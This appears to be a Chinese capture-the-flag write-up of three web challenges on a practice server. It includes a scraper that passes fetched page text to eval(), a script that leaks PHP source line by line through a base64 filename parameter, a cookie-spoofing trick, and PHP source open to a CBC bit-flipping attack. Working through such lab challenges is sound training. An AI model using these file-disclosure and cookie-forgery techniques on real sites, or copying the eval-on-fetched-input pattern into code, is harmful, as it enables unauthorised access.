秋名山老司机
<head>
<title>下面的表达式的值是秋名山的车速</title>
<meta charset="UTF-8">
</head>
<p>亲请在2s内计算老司机的车速是多少</p>
<div>1782911879+706686703-1996813020-984998196*1213520247-1805071043*379299795+1623596400-1052850963+2102818407-2101949215=?;</div>
<style>
div,p{
text-align: center;
margin: 0 auto;
}
</style>
两秒之内计算出式子中的值， 再提交
菜鸡还不太会写脚本
参考了dalao们的代码
import requests
import re
url = 'http://120.24.86.145:8002/qiumingshan/'
s = requests.Session()
source = s.get(url)
expression = re.search(r'(\d+[+\-*])+(\d+)', source.text).group()
result = eval(expression)
post = {'value': result}
print(s.post(url, data = post).text)
不过还是没搞出来。
复习一下requests库
import requests
#构造requests对象
s = requests.get(url)
s.post(url, )
#差不多就这些了
cookies欺骗
题目
然而注意到URL中的line和file时就能做出来了。
#用脚本把代码跑出来
import requests
a=30
for i in range(a):
url="http://120.24.86.145:8002/web11/index.php?line="+str(i)+"&filename=aW5kZXgucGhw"
s=requests.get(url)
print s.text
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){ //看这里
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
构造cookie就行啦
（然而没搞出flag来）
login4
CBC字节翻转攻击
放一张经典的图
CBC
据师傅们的wp说是有一个index.php.swp文件存在。
然而没找到， 先把师傅们找到的源码放上来
<?php
define("SECRET_KEY", file_get_contents('/root/key'));
define("METHOD", "aes-128-cbc");
session_start();
function get_random_iv(){
$random_iv='';
for($i=0;$i<16;$i++){
$random_iv.=chr(rand(1,255));
}
return $random_iv;
}
function login($info){
$iv = get_random_iv();
$plain = serialize($info);
$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
$_SESSION['username'] = $info['username'];
setcookie("iv", base64_encode($iv));
setcookie("cipher", base64_encode($cipher));
}
function check_login(){
if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
$cipher = base64_decode($_COOKIE['cipher']);
$iv = base64_decode($_COOKIE["iv"]);
if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
$info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
$_SESSION['username'] = $info['username'];
}else{
die("ERROR!");
}
}
}
function show_homepage(){
if ($_SESSION["username"]==='admin'){
echo '<p>Hello admin</p>';
echo '<p>Flag is $flag</p>';
}else{
echo '<p>hello '.$_SESSION['username'].'</p>';
echo '<p>Only admin can see flag</p>';
}
echo '<p><a href="loginout.php">Log out</a></p>';
}
if(isset($_POST['username']) && isset($_POST['password'])){
$username = (string)$_POST['username'];
$password = (string)$_POST['password'];
if($username === 'admin'){
exit('<p>admin are not allowed to login</p>');
}else{
$info = array('username'=>$username,'password'=>$password);
login($info);
show_homepage();
}
}else{
if(isset($_SESSION["username"])){
check_login();
show_homepage();
}else{
echo '<body class="login-body">
<div id="wrapper">
<div class="user-icon"></div>
<div class="pass-icon"></div>
<form name="login-form" class="login-form" action="" method="post">
<div class="header">
<h1>Login Form</h1>
<span>Fill out the form below to login to my super awesome imaginary control panel.</span>
</div>
<div class="content">
<input name="username" type="text" class="input username" value="Username" onfocus="this.value=\'\'" />
<input name="password" type="password" class="input password" value="Password" onfocus="this.value=\'\'" />
</div>
<div class="footer">
<input type="submit" name="submit" value="Login" class="button" />
</div>
</form>
</div>
</body>';
}
}
?>
</html>
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